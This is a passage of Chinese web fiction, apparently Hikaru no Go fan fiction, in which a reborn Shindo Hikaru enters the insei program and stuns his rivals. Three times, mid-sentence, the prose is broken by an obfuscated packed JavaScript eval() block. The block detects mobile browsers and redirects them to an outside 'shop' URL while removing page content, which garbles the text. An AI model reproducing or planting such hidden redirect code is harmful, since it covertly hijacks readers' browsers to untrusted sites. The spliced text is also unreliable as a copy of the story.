“是,是。”话已至此,光只能别扭地挤出一丝笑容,“总之,可不可以请你先把你的扇子拿开……” “以后不准再自以为是哦!”佐为一脸认真地来回确认。 “不会啦……” “真的?” “真的!” 两个人之间偶尔的坦率,突然让进藤光身心都觉得轻松起来。 这是上天赐给他的、和佐为一起重新来过的机会,也能让他重新审视自己,而不是真的把所有负面问题全部解决,只要尽他所能地过好这一世就足够了。这样一想,他嘴角的笑容也真挚了许多。 “总而言之,必须好好地珍藏起来才行啊!这期围棋周刊!” 进藤光喜滋滋地抚摸着手中的报纸,好像在欣赏什么绝世珍宝。 上一世,sai的真实身份没有被揭穿,有很大一部分原因是由于佐为已经在进藤光15岁那年的5月5日消失于世了。如果佐为没有消失、并继续用sai的名义征战网络棋坛的话,进藤光留下的那些破绽终究会积少成多,然后暴露于众目睽睽之下。没人会相信所谓鬼魂的存在——当然,塔矢亮是特例中的特例。 如今,虽然用网络下棋的人主要是佐为,但是光也曾经用那个账户下过几次,二人棋风和棋力都有高频度的神似感,突然让人判断下棋的人是谁还真有一点难度。 要编造一个怎样的解释,才能让他们既认同佐为的存在、又不会总是怀疑是进藤光在冒充呢? “啊!” 对了!只要他再注册一个真·进藤光的账号不就好了! 直接就叫hikaru吧!这样谁看到都知道是他! 正在此时,楼下突然传来美津子的呼唤声:“小光!明明来啦!” “哎呀。”进藤光歉疚地看了佐为一眼,“对不起,佐为,看来上午我们没办法对弈了。” “不,没关系。明明是来找你对局的,你也该怀着认真教她的心态去下棋才行啊。”佐为微笑着摇摇头,“小光能让我下那么多棋,我已经非常非常高兴了,是真的哦!虎次郎那个时代根本没有网络围棋这样的东西,在他离乡学棋之前,我要花好几天,甚至好几十天,才能找到一个厉害的对手!” “哇?那么久?”进藤光觉得有些神奇,“那时的条件比我想象中的还要苛刻嘛……” 佐为望着天花板思索片刻:“但是,我依然很开心,不管遇到什么样的人都不会改变。只要能够下棋就很好了。” “小光!” 藤崎明气喘吁吁地推门而入,换作从前的光保准会训斥她一顿“你怎么不敲门就进来”再生上一整天的气。实际上,那时的光确实有种孩子特有的小心眼,现在想起来真是有点别扭。 “明明,早上好啊!”但是这次进藤光露出了大大的笑容。 “筒井前辈说,我可以和他下让四子棋了!”明明精神焕发地堵住了光接下去的话,“我是不是很厉害?” 佐为幸福地闭上双眼,“明明也进步了!好高兴啊……” “不可以因为能被筒井前辈让四子就喜形于色啦。你好不容易来一趟,我们一起下一局?” “好啊好啊,不过小光要给我让九子哦!不许欺负新人!毕竟你明天就是院生了!” “你也不算新人了吧,都学了有一阵子了。” “不行!就算小光你让我九子我也肯定会输,加贺前辈是这么说的。所以你还要给我逆贴目!” 藤崎明也笑着打开了棋罐。她终于找到了,和进藤光维持羁绊的方法—— 那就是和他走在同一条路上,朝着共同的未来迈进。 从现在开始的以后,她都会追逐着他的背影不断前行吧……如果可以的话,她也想守护他的未来,让他走得更远一点。 ●○●○ 37.Chapter 36. 院生首日修罗场 东京都千代田区五番町,日本棋院。 走过千万次的道路是那样新鲜,想象过千万次的重逢就近在眼前,棋院此时还崭新挺立的大厦清楚地告诉他,这一切都并非虚幻,而是触手可及的真实。 “终于来了啊……来到这个地方。” 进藤光松开抓在双肩包背带上的手,伸了个懒腰,舒舒服服地抬起头来。沿着地铁站一上台阶,就能看到那座通体白色的建筑物,以前还是院生的时候,他和和谷、阿福等人总会比拼谁第一个冲上地面,最后的人要请领先的人喝可乐,幼稚得要死。 不过今天,进藤光一点也不着急。他晃悠到主入口,第一件事是跑到一楼的商品柜台,从里面挑了一把白色的折扇。 没它总觉得缺了点什么。过去十年间,这和扇都像佐为一样亲密无间地陪在进藤光身边,和他一起征战棋坛。 光特意举起扇柄,对比着佐为手中的款式:“找到了!你看,佐为,是不是一模一样?” “真的诶。一样的!” 佐为看看自己的扇子,又看看小光的新扇子,有种不可思议的重叠感。 这里卖的围棋用品都偏贵,但光还是毫不犹豫用全部家产付了钱,3000日元,第一次看到他如此一掷千金的佐为都不禁用扇面挡住吃惊的面部表情。光却不以为意,脚步格外轻快。 “这样我和佐为就又多了一个相同点!我们坐电梯上楼吧。” “小光以前经常来这里吗?”听出光语气里的怀念,佐为理所当然地这样推测。 “啊?嗯……之前有跟朋友来逛过一两次。”光笑着找了个借口。 在抵达电梯前,惯例的剧情发生了:大厅里的陈设同记忆中一样并没有什么出入,但拐角处的金鱼缸依旧牢牢吸引了佐为的目光,他大呼小叫地凑近玻璃隔板,一脸见到新世界的表情。 “小光!小光!这是真鱼吗?”佐为惊讶地张大了嘴。 光正想解释,却突然停下了说话的动作,因为迎面走来一个看了就叫他倒胃口的家伙。 “真——” 感觉到不友善的目光,真柴充狐疑地瞟了他一眼,光立即吞回了自己说出口一半的名字,这样的人还是少惹为妙。 第一个见到的熟人怎么会是他啊?为什么?为什么不是森下老师白川先生芦原先生和谷伊角越智还有阿福和奈濑他们,哪怕是座间老师也没关系,可是为什么偏偏是这个和他命里犯冲的真柴充啊?! “真柴,你还不上去吗?” 从光身后走近一个面生的少年,先是看着光,无意识地摇摇头,再强忍着不耐转向真柴。 “时间还早,随便买点喝的。柴田,你衬衫的扣子都扣错了,就这么紧张呀?”真柴望向少年的眼神之中夹杂着几分显而易见的不屑。 “关、关你什么事!总之,不要迟到就好,今天你的对手可是我啊。” 名叫柴田的少年气呼呼地侧身向前,与光擦肩而过。 真柴讥讽的笑意更加夸张了:“反正就算我迟到了,你也一样会输嘛。” “你……同为二组,我没有理由输给你!”柴田有些恼怒地看着他,手指捏得嘎吱作响。 “不错,我们确实都在二组,但是你似乎忘记了一件事,那就是这一局赢你之后本大爷就升进一组了!听明白没,二组垫底的柴田君?” 说罢,真柴昂起鼻孔,大摇大摆地走向一旁的自动贩卖机。原本一直不明所以的光大概明白了现在的情况,或许这个柴田也是被真柴轻视的对象之一吧。不过,这个叫柴田的院生……他扭头仔细观察了一会儿。 一头细碎而不凌乱的短发,端正的五官,虽然还算帅气但是辨识度不高的脸,光完全不记得这个人也是正常的。 认不认识都不重要,光凑到他耳边,再三嘱咐:“你没事吧?别上他的当,这是想搞你心态让你发挥失常,绝对不能上钩!” 好歹光在心理年龄上年长许多,见到此景自然应该提醒一下后辈。 不过对方已经有心理准备了。 “问题不大,他那臭脾气我清楚得很,就是嘴上不饶人……咦,你是?二组的?还是一组的?没见过你啊。”柴田好像比想象中的更好接近,一脸人畜无害的表情。 光笑着说:“我是来参加院生考试的。” “对哦,最近又到来新人的时候了。好快啊。” 两人一前一后走进电梯。柴田明显在一瞬间感到了压力。不知道新来的人里会不会有很厉害的家伙,如果有,他这个二班垫底就该主动退学走人了。 但他还是忍着不安,对光表达了祝福:“考试加油。” “你也是!一定要下赢那个讨厌鬼!” 往常都是和谷在旁边对自己说这些的……光顿时很想见见昔日的好兄弟。 “说起院生考试,听说这几天会来一个超级种子选手,你可得当心了。”看到光满脸期待的笑容,柴田露出了同情之色,“大家都说今年合格位直接少了一个。你敢想象吗,那个人居然能和塔矢名人下让先棋!还能坚持到点目!连塔矢亮都没赢过他!简直就是怪物啊!” “哇,这么恐怖啊。”光很配合地演戏,“完蛋了,我开始紧张了。” 柴田安慰般拍拍他的肩,颇有些同病相怜的意味,“没事的!跟我一起深呼吸!院生考试可是很难的,万一失败也别难过,下半年再来!” “谢谢前辈的鼓励!” 飘在身后的佐为顿时十分无奈:“小光,你居然骗他……” 光却在努力憋笑:“对不起,没忍住。是他自己没看出来嘛。” 叮,抵达楼层的确认音响起,柴田对着电梯门进行了一个深呼吸,而后和光一起走出了电梯。佐为见到这铁门一开就是新世界,又免不了感叹一番。 “小光!刚刚那个会动的铁盒子好厉害!” “是啊,人的智慧可是非常特殊的哦。今后还会有更厉害的技术诞生呢,比如与围棋相关的技术。你要是好奇,就得一直留在现世才行。”光笑着说。 “围棋的技术?” “比如说,电脑可以和人对弈喔。” “电脑自己也能下棋吗?你不会是在骗我吧,好期待哦……” 佐为看上去已经在遐想连篇了。 光顿时想大骂从前的自己一顿。那时他为什么会对这种问题不耐烦?包容心难道真的那么狭小吗?怎么会嫌这么可爱的佐为烦人?不过想来,所有的小孩都经历过以自我为中心的时期。只是不知虎次郎当初…… 光摇摇头,强迫自己不去思考这个问题。 他扫视四周,此时公共对局室里人数已经多起来了,院生们的排名赛马上就要开始,柴田等人也在其中,和谷好像就坐在角落里,还有奈濑和伊角。 老朋友们都在,光的心情平复了下来,而等待着他的试炼也一样吹响了号角。 光整理了一下自己的衣领,才拉开考核间的门。 “早上好。” “进藤君是吧,请坐。”坐在棋盘前的眼镜男人名叫篠田,是棋院院生的指导老师,他眼中充满智慧,语气也十分和蔼,“塔矢名人的推荐信我看过了,既然是他认可的孩子,应该不会有错。棋谱带来了吗?” “带来了,请您审阅。” 今天的流程比十一年前顺利很多,连带着老师的态度都比之前好,大概这就是名人效应吧。他带来的三局棋谱,分别是与塔矢亮、芦原弘幸和久原木子郎的对局,现阶段他认识的棋手就这么几个,最后那局还是参加中学围棋联赛时顺便下的。 不过,看考核老师的表情,通过是无需担心了。 甚至他还有些惊讶:“水平都很高啊,芦原弘幸是棋院的二段对吧,你竟然能中盘赢他……难怪塔矢老师要鼎力推荐你了。那事不宜迟,我们赶紧开始对局吧。” “是!” 一个半小时后。 光背起双肩包,从考核室里走出来,正好撞见结束对弈来到走廊边用印章在对局表上填写胜负的柴田悠一。柴田见到是他,挠了挠鼻尖,和他打了招呼。 “哟,怎么样,考试的结果?” 紧随柴田之后按下印章的和谷立刻吸引了光的视线。他今天头发乱糟糟的,好像没睡好,身上依旧叠穿着内长袖、外短袖的奇妙搭配,这一复古搭配在2000年前后的青少年之中格外流行,后面就再也没见过了。光连忙对和谷挤出一个笑脸。 感到有点莫名其妙的和谷用胳膊肘戳了戳柴田的肩:“你们认识吗,柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等等、刚才那都是什么乱七八糟的绰号? 看到和谷还伸出食指指着自己,光连忙一把摁住他的手臂:“没那么夸张啦!和谷也认识久原吗?他怎么到处乱说!” 脑海中瞬间浮现出了金牌八卦小记者举起相机、右眼“噌”地亮起雷光的神情。 连佐为都若有所思地“哦”了一声。 和谷顺势抓住进藤光的手,“他总是缠着我们问东问西嘛,那家伙复盘的本事很了不起啊,虽然下棋的技术很烂。比起这个,你待会有安排吗?等院生的课结束之后,我想和你下一局!” “啊!和谷!你抢先一步!”柴田用一种遭到背叛的目光看着他,干脆抓住了光的另一只手,“是我先认识的进藤!” “?” 怎么回事?这修罗场一般的图景?光目瞪口呆,他是真没见过自己这么受欢迎。 而且,和谷居然直截了当地说久原的棋下得很烂……想到同样曾经是院生的海王大将岸本熏在他们口中也是个菜到不值一提的路人甲,光顿时为围棋界的天赋差距感到叹息。如今自己能站在这里,接受他们的对弈邀请,已经是幸运儿中的幸运儿了。 总之想想办法终结掉这场奇怪的争执…… “——喂!刚刚参加院生考试,结果中盘赢了篠田老师的小孩,是谁?!” 没想到,此时此刻,又一个新的竞争者加入了战斗。 光“噌”地回过头,从电梯间里走出来一个成年男子,正是后来他在第58期本因坊战1次预选3回战中战胜过的川崎三段(现在还是二段)。 佐为顿时有了全新的预感,他十分期待地瞟到那人身后,拼命指着光所在的方向,叫着“在这里!在这里”,别提多可爱了。 “川崎先生?”看到来人,和谷一愣,“你是不是搞错啦,参加院生考试的是有,可是篠田师范是职业的指导老师,怎么可能输给应试生……” 说着说着他的语调就掉了下去。 “莫非就是进藤?!”和谷好不容易放下的食指再一次指向进藤光的脸。 ●○●○ 38.Chapter 37. 他就是那个进藤?! 唰—— 众人再次一致朝光行注目礼。 光的小脑袋冒出一个大大的问号:“有什么不对吗。” 和谷失去了表情管理,嗓门越来越大:“不,没有什么不对,是不对得离谱!哪有参加考试的人把考官下输的啊?简直闻所未闻!而且是中盘赢!” 能中盘获胜,那就说明不是老师在让他。棋院师范是考官,从立场上没必要故意输,多数时候他们偏爱下试探手,观察考生的反应,来给出评价分数,这种试探手不会占据太强优势,但也是万能的防守招,不至于下不到收官阶段就宣告落败。 想明白了的和谷开始疯狂流冷汗。 川崎若有所思地往前一步,“进藤君,你现在有空吗。” 他也来? “有是有……”光十分为难。 “能不能和我下一局?” 一旁的小胖子阿福抗议起来:“川崎先生!你好狡猾!趁院生的课程还没结束,你就先抢人?进藤是和谷看中的对手喔!” “不好意思了,职业棋手的时间比较自由嘛。”川崎也不嫌和院生争人丢面子,毕竟他现在是真的有空,而且也没把阿福他们当小孩,他指了指身后的电梯,语气迫不及待,“楼下就是自由对局室,怎么样,进藤君?” 期待的目光汇聚在进藤光身上。佐为自豪地抬起了脖子。 总而言之!现在最重要的就是从这一干炽热的视线里逃走! 如此思索着的光,毫不犹豫地点点头。他再不走,这群院生掺杂着羡慕嫉妒怀疑的眼神都能把他架在火上烤到七成熟了! 此时,东京另一侧的塔矢家。 庭院里的绿竹竹筒“哐当”击落,清泉穿流,檐下一人正坐许久,身形稳如磐石。 在这个塔矢行洋难得没有对局的周末,他依然选择了坐在棋室里看棋谱。明子无奈地沏好一壶热茶,端到他面前,似带嗔怪地说:“亲爱的,感冒才刚好,要保重身体啊。” “我知道。小亮呢?”塔矢行洋温和地接过茶杯,问。 “已经起床很久了,大概也在研究棋谱吧。”明子失神地望着外廊,柔声道。 想起这几日妻子为照顾自己一直忙里忙外的身影,纵使是只挂心围棋的塔矢行洋也不能无动于衷。 “这些天,辛苦你了。” “突然说什么呢。”明子失笑,“多少年的老夫老妻了,要是真有心道谢的话,不如好好关心一下小亮吧。” “你说的这些我都明白。”塔矢行洋放下手中的茶盏,“只是他自己的路,终究还是得由他自己去走。进藤君是他非跨越不可的障碍,我们能做的就是在背后默默守护着他,不过以小亮的韧劲,想必他一定能够跨过去吧,或早或晚。” 这时,走廊里传来了“哒哒”的脚步声,夫妻俩回头一看,却是换好外套的塔矢亮正站在门口,一副赶着要出去的样子。 “父亲,母亲,我去棋院找芦原先生下棋了。” 亮的态度一如既往,彬彬有礼而不失亲近。 “小亮,午饭要回来吃吗?”明子身为母亲当然第一个想到这个问题。 “不了,下午进藤办完院生手续,可能会去围棋会所,我在市河小姐那里吃点东西就行。那么,我出发了。”亮拉起外套的拉链,说。 “一路小心!”明子笑着挥手告别,儿子点点头便离开了家门,她才有些头疼地叹了口气,“你们父子都一个样,除了围棋什么都不想。” 塔矢行洋只“唔”了一声,并没有接话的打算,果然明子也未等他做出回应就继续自言自语了下去:“不过,多亏了进藤,小亮最近好像干劲满满呢!同样是孩子,在一起下棋也会更开心一些吧?” 塔矢行洋笑而不语。 且不说明子和塔矢行洋的恩爱故事,我们来看看前往棋院的小亮。 他前脚刚踏进棋院一般对局室的入口,后脚就停滞在了一句某年轻棋士爆发式的“这怎么可能”里。 “——啊啊啊啊?!!川崎二段居然输给这个孩子28目半?!!”目瞪口呆的路人甲。 “孩子?你说他?他还是个小学生吧?”面无表情的路人乙看见棋盘之后突然大惊失色,“这是……小学生下出来的棋?据我所知恐怕塔矢亮都下不到这个地步!” “塔矢亮?难道是那个塔矢亮吗?” “还能是谁?就是塔矢名人的儿子塔矢亮!传说是小学生但是棋力超过职业的那个!” “话是这么说,可是这小子我从来没见过啊……啊啊,这手尖用得可真大胆……” “确实,如果是我的话绝对只会下小飞……不过,川崎二段是不是因为对手是小学生所以轻敌了啊?” 听到这里,亮心中的预感早已成型,他迫不及待地加快脚步,跑到棋盘跟前。 “进藤?” 光正在和佐为讨论棋盘上的问题,亮叫他的声音忽然传来,吓得他猛地直起身子,惊魂甫定地拍拍胸脯:“什么啊,塔矢,你总在莫名其妙的时机突然出现,该不会一直在跟踪我吧?” “不,我只是来棋院找熟人而已……” 被他直接点破奇妙的巧合,塔矢亮罕见地脸红了。当然这脸红并非因为害羞,只是他确实无法解释这种命定相互吸引的微妙的尴尬。佐为好奇地看着他的脸,好像从中挖掘出了奇妙的细节。 “诶?塔矢亮?你是亮君吗?”路人甲发现亮的存在,非常开心,“没想到今天能碰见你!芦原说你有时候会来棋院找人对弈,看来是真的?” “塔矢君,你来看看这局棋吧。”说话的是到刚才为止都沉默不语的川崎。他输了棋,心中虽有不忿,却明白自己的实力确实存有漏洞,此时叫亮来参加检讨,也有一点挽回自己面子的意思。 “失礼了……” 亮也毫不客气,目光直勾勾地盯着棋盘上的终局局势。 光下意识地伸出了右手想要移动棋子,这一局是佐为下的棋,他担心塔矢亮发现什么端倪,最好现在就把棋盘收拾掉,但这时候出手又太明显。结果他只是迟疑了一瞬,亮就猛然从中察觉出了不和谐的细节。 这个感觉……绝对不会有错!是进藤的棋!只有那个计算能力惊人下手从不拖泥带水的进藤光能下出这种棋路鲜明的棋! 只是看着这最后的局势,总觉得下棋的人跟平时的进藤有一点不一样……比起进藤,更像是sai的操作,这又是为什么? 光见亮的眉头越皱越深,生怕他机敏的小脑袋瓜想到什么不对劲的地方,连忙轻咳两声用检讨打断了亮的思绪:“你看,这里川崎先生犯了和你上周一样的错误。当时我说过要先绕开冲突对吧?” “没错,但是我一直认为不应该这么早就放弃趁胜追击的机会……” 亮托下巴沉思,似乎在回忆那时的情景。 “所以会被我的陷阱骗进去啊。”光干净利落地摆出他想到的后续棋形,“这一次又证明了得失心太重不是件好事吧。” 坐在光对面的川崎有点不爽,明明他才是那个辛辛苦苦跟对方苦战两个钟头、最终一败涂地的人,为什么现在会变成光和亮两个人复盘的场景?而且……为什么位居二段的自己,要和塔矢亮这样尚未入段的业余棋手相提并论! 犯了和他一样的错误……?被陷阱骗进去……?得失心太重不是好事……?每一句都像在指桑骂槐,当然他知道这不是光的本意,但听上去就是很刺耳,没办法,输了棋的人心态都是很敏感的。这个进藤光到底要让他丢脸到什么地步才肯善罢甘休啊?! 川崎的脸愈加发黑,也没有耐心继续“聆听”光的指导,僵硬地站起身来,拿起自己的西装外衣:“对不起,我还有事,得先行一步。” “今天多谢指教了,川崎先生。”光露出一个大大的微笑,“我也还有很多需要向川崎先生学习的地方,期待下次对弈!” 这灿烂的笑容本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路人甲好不容易从震惊中缓过来,才想到他还没记住光叫什么。 走到一半的光停下了脚步。 “进藤光,我叫进藤光啦。没什么好记的,反正就算要到签名也卖不出去的哦大叔!”光玩心大起地做了个鬼脸,然后抓起亮纤细的手腕,“走了,塔矢!” “啊、好……” 两人奔进电梯没多久,路人甲终于恍然大悟地抬起头来。 “进藤光,不就是那个师出无名却和塔矢名人下到最后三目的绝世天才吗?!!” “你说什么?!” “仓田七段!就是他啊!你在打听的小孩!” 路人乙连忙叫住门口的矮胖男人。 与进藤光只有一步之隔的仓田厚踏进自由对居室时,一听到这个名字,马上夸张地抬起了双手,做出一副打算抱起什么桶状物的力士动作。 “——哦,确定吗?他就是那个进藤?你们怎么可以让他跑了?!真是的,大概是听到本天才的名号,把人家吓跑了吧,我可是很亲切的前辈哦?还打算给他签名的说。连签名用的扇子都准备好了!!” 虽然只是见到了一眼金色刘海少年的背影,但在“心宽体胖”的仓田厚七段心中,进藤光的形象早已留下了十足深刻的印象。 这么说来确实是今天啊,新院生加入的日子。他从绪方九段口中得知进藤光的存在之后,就一直停不下好奇心,毕竟在同辈的棋手里,仓田从来都是独一无二的“天才”,所以他对同样被称为“天才”的进藤和塔矢都很有兴趣。仔细想想,12岁时的自己好像还没有进藤这么强的棋力,这让他“天才”的尊严受到了动摇。 必须得找进藤这小子下一盘、才能解决这股不安的骚乱感! 仓田厚没想到,“天才”进藤光的传奇这才仅仅只是开始。 ●○●○ 39.Chapter 38. 新时代的浪潮 第二天,办理完入学手续后,进藤光正式成为了院生的一员。这是他的院生初战,但就在他前脚踏入综合对局室时,无数锐利的目光就瞬间向自己杀去,让光脸上的笑容都不由得僵硬起来。 真是格外“热烈”的欢迎仪式啊。 “……早。” 他挤出了一句问候。领他过来的院生师范像是对此早有预判,用温和的语调说:“我介绍一下,这是从今天起加入一组的进藤光同学。” “一组?”有人立刻抓住了重点。 “哼,那小子直接就进了一组啊。”果不其然,真柴的敌对雷达准确扫到了进藤光身上,“有塔矢名人的推荐,和我们这些脚踏实地慢慢晋升的普通人就是不一样吗。” 这话音里的暗讽让和谷有些坐不住了。他故意歪过头,假装没在和真柴对话。 “某些人在酸什么,进藤本来就是职业水平,上周川崎二段可是惨败给他了。你倒是跟他对弈过后再抱怨不迟。” 光泪眼朦胧地望着他。 ——谢谢你!和谷!为我说话!不愧是我的好兄弟! 然后,第一局,光抽到的对手就是好兄弟。 亲手送好兄弟上路的罪恶感让进藤光下棋时都一直忍不住偷瞄和谷义高的脸。这时他们都还很年轻,基本算是小孩子,脸庞都透露着一股纯真,很好猜心思。 和谷完全就是在紧张嘛! 别怕别怕,这就给你减压。光在心中暗想着,将棋形故意往和谷喜欢的方向引导,这是久违的和好兄弟的对弈,就不让佐为来下了。上一世除了塔矢亮,和谷义高就是和他私下对弈最多的棋手,因此光对他的棋风也是滚瓜烂熟,闭着眼睛都猜得出他会怎么下。总而言之好好下一局指导棋吧…… 等光再次抬起头时,撞见了和谷下巴关节都快断裂的恐怖表情。 和谷满脑子都是发疯般的怒吼。这什么人呐!怎么能这么下棋!哪里看都像在胡闹!最后居然能赢得他屁滚尿流! 完蛋,好心办坏事了。 也是,要强的和谷肯定能感觉到光在让他,这样一来反而更加被激发了斗志,他开始在光设计好的地图里横冲直撞,结果就是撞得越猛、那些兜底的关怀反而越发挥不了作用,导致他比预想中还早地走入了崩盘! 粉、身、碎、骨! “和、和谷……”光都赢得有点不好意思了。 果断认输后,和谷直接整个人向后倒去。这也太快了! “哇!是惨败啊!” 和谷的哀鸣让整个对居室的人都无法将心从进藤光上挪开。明明他们各有各的对局,却总是想着进藤光的事,结果一个两个都发挥失常,空气里充满了紧张的心跳声。 和谷垂头丧气地揉着头发,走到门口。过了一会儿,伊角也结束了对局,跟着走了出来。他看到大家都在往一旁的讨论室里挤,也好奇地探出头去,只见和谷和进藤光正在讨论室的棋盘上复盘刚才的离谱一局。实在太夸张了,自从和谷升级一组后,这应该是他输得最快的破纪录的一局。 “这里,这里,还有这里……和谷,你根本没有在好好下嘛。”光教训起好兄弟来也是嘴上不饶人,“难道是因为怕我,自乱阵脚了?从这一手扳就开始瞎搞了。要是我的话最起码也会先保住右下角,后面再往中腹,起码还能下到官子。” 居然语气和指导老师一样…… 和谷哪能不知道都是自己发挥失常的错,一边懊悔一边感叹:“虽然我已经大概有了这个心理准备……但现实也太残酷了……伊角,你怎么了?” “不,我太吃惊了,完全找不出合适的措辞……”伊角看到这一局,也明显感觉到和谷被对方的气势吓得心神不宁,但是抛去这一切,单看进藤光的棋,下得也是超乎寻常的好,他一时不知如何发表意见,最后来了句,“……进藤,你是真实存在的人物吗?” 光汗流浃背。 “我又不是二次元纸片人!” 和谷却十分坚定地拥护了伊角的吐槽:“就是啊!这家伙绝对是活第二遍了!只有二刷人生才解释得通他为什么会这么厉害!” 光更加汗流浃背了。怎么这也能蒙对。 最后他只能掩饰地笑了笑。 “嘿嘿。” “嘿嘿……个头啦!上次让我觉得‘不是人’的棋手,还是网上那个sai呢!那个连续100局获胜的不败神话!” 和谷看似无厘头的抱怨竟然歪打正着把所有的事实全部戳了个遍,听得光和佐为那叫一个心惊肉跳,还好他只是随口说的,都算擦边,没有真正起疑心。 光连忙解释:“我也和sai下过,但是完全赢不了。” 佐为得意地指了指自己,“没错!最少的一次也输了一目半呢!” 不过,小光的潜力确实惊人。水平相差不大的棋手总会互有胜负,佐为逐渐感觉到,那双追逐着自己的脚步,正在不断加快步频、以难以想象的速度朝自己袭来。总有一天,他会在棋盘上,迎接来自小光的第一次胜利吧。 在那之前,就让他先尽情享受和小光对弈胜率100%的快乐好了! “你也有赢不了的人啊……”和谷一脸“我不信”的表情盯着光。 到这时,下完棋的院生陆陆续续都挤进了房间,附近的人都是熟面孔,光觉得分别怀念,但就是有那么一丁点火烧屁股——果然以他的棋力跑来院生这里刷新手村是不是太欠缺考虑了?一下子就变成众矢之的了! 一旁的少女棋手奈濑明日美忍不住替他们发出疑问:“话说进藤君,大家都很在意,你为什么要来当院生呢。” 好尖锐的问题。光只能打哈哈混过去。 “为什么?因为……院生是职业的预备役啊。” “这我当然知道,但是,你的水平已经超越我们太多了吧。和谷已经是一组前几名的棋力了,我看他根本不是你的对手嘛。” 奈濑用温柔甜美的声音毫不客气地给出了对和谷的锐评,听得和谷更受打击了。 “喂!” 光连忙劝架:“没有没有!是塔矢老师说,希望我多积累一些对局经验。” “这话说的,难道你以前没有对局经验吗?!”和谷真不敢相信和自己对话的到底是个什么人,这已经不是人类了,是外星人来侵占地球的探子吧,伪装成人类一样说话下棋真是辛苦他了,“好可疑……” 光只能提高音调,对他们发出热情的邀请:“是真的啦,以前我的对手太固定了,所以我现在很想多和人下棋,不管是赢是输都对我有帮助!哦,你们有空可以在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430643|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网上约我对弈!我的昵称就是真名,hikaru,很好记的。一定要来找我!” 这句话遭到了看热闹不嫌事大的阿福的过度解读。 “——你们都听到了吗,进藤朝我们下战书了!!” “哇——!!” 被小胖子的大嗓门这么一喊,全组的人都知道了。光欲哭无泪地摆摆手,但没人听他解释。神奇的是,他感受到的并不是当初塔矢亮在海王中学时经历过的冷眼相待、或恨不得逼他离开的敌意,而是,某种不可思议的热切的胜负欲。 他们都用期待对手的眼神看着他。 现在,所有人的目标都变成了:下赢这个地狱来的围棋天才恶童、进藤光。 只要下赢他,赢的那个人毫无疑问就是院生最强! 那么职业考试也就一定可以通过! 众星拱月的进藤光,此刻摇身一变砧板上的鱼肉,遭到一众院生小朋友的目光通缉。一贯冷静的本田和饭岛都被这气氛带着抿紧了嘴。 “哦!进藤,我燃起来了!”和谷第一个挽起了袖子,“下次一定要认真下,不给你中盘赢的机会!!” 伊角在他身后用无可奈何的语气说:“‘打倒塔矢亮——’的口号,也终于要改成‘打倒进藤光——’了吗?你们森下门下还真是辛苦啊。” 和谷扭头锤了一把他的后背。 “好痛——”伊角惊呼。 “你在说什么呢,伊角桑!你也不能置身事外!比我们还小的新人都闯进来了,我们还磨磨蹭蹭的,迟早会被更多人超过!今年的职业考试,我们必须合格才行!合格,并且从进藤手里抢走一胜!这就是我今年向神社祈求的年终目标了!” 本田苦笑着说:“还是老样子,热血起来就收不住啊,和谷君。” 奈濑则走到光身边,对他打了个招呼:“进藤君,下周你的对手是我。然后,和谷君,能陪我做一些应对进藤的准备吗?” 她也想从和谷的惨败里汲取一些经验教训。有智谋的棋手不打无准备的仗,这阵势是要来真的了。 和谷一口答应:“当然!很好,你们都开始有斗志了!看谁最先下赢进藤!” “喔!!!” 进藤光就像一枚深水鱼雷,炸开了看似平静的院生海面。整个日本棋院都因他的突然出现而为之震动。院生们日复一日的艰苦训练,也第一次出现了“熬到职业”以外的新目标。 就如进藤光劝说塔矢亮时所言,竞技赛事正是突破极限的挑战。世界冠军的极限,人类算力的极限,灵感与机遇的极限,以及,天赋的极限。在全新的天才出世之前,人们都以为上限就在那里,无论如何也不可能突破,但进藤光的存在,让那道标尺瞬间前移了一大步。 有了足够强劲的竞争对手,后面追赶的人才会更坚信自己也有希望达到那个高度。 从这日开始,院生们的训练热情显著增长。院生师范都很吃惊,最近找他探讨进藤光的棋谱的孩子越来越多,他们不约而同将目标锁定在这个庞然巨物身上。想追上他,因而不得不加快脚步,再按以前的步伐只会越离越远,院生们都感受到了与塔矢亮三个月前感受过的相同的急迫感。 最终,引领这股时代的浪潮,不断向前、向前—— ●○●○ 40.Chapter 39. 海王的橄榄枝 自从通过院生考试后,光便正式加入了塔矢研究会,成为了对外宣称的塔矢门下弟子,纯血“天才新星”进藤光。 在此之上,由于他常常去棋院“挑战”职业棋士的事迹(事实是他们主动邀请他对局),他在院生之中拉起的警惕越来越高,已经是个知名度很高的传奇少年了。大家似乎都对一个潜力无穷的孩子加入塔矢研究会感到理所当然,有了塔矢行洋的背书,光解释起自己与年龄不符的棋力来反而更加容易。 总而言之,进藤光好像比上辈子要出名得多。 这也给他带来了很多麻烦,比如,再偷偷摸摸地潜进棋院时总会有眼尖的家伙把他认出来,瞬间被人包围,甚至无法安静下完一局棋……再比如说,曾和他并肩作战的筒井公宏激动不已地找他索要签名,还求他下几盘指导棋并死乞白赖地更换了称呼叫他”进藤老师”……再比如说,每次他在放学后去找塔矢亮下棋时,总会有没见过的大叔不约而同地聚集起来围观他们对弈,让光有点不习惯。 还比如说,一些慕名而来的人搅乱了他原本的人生规划。 “早安,进藤君。” 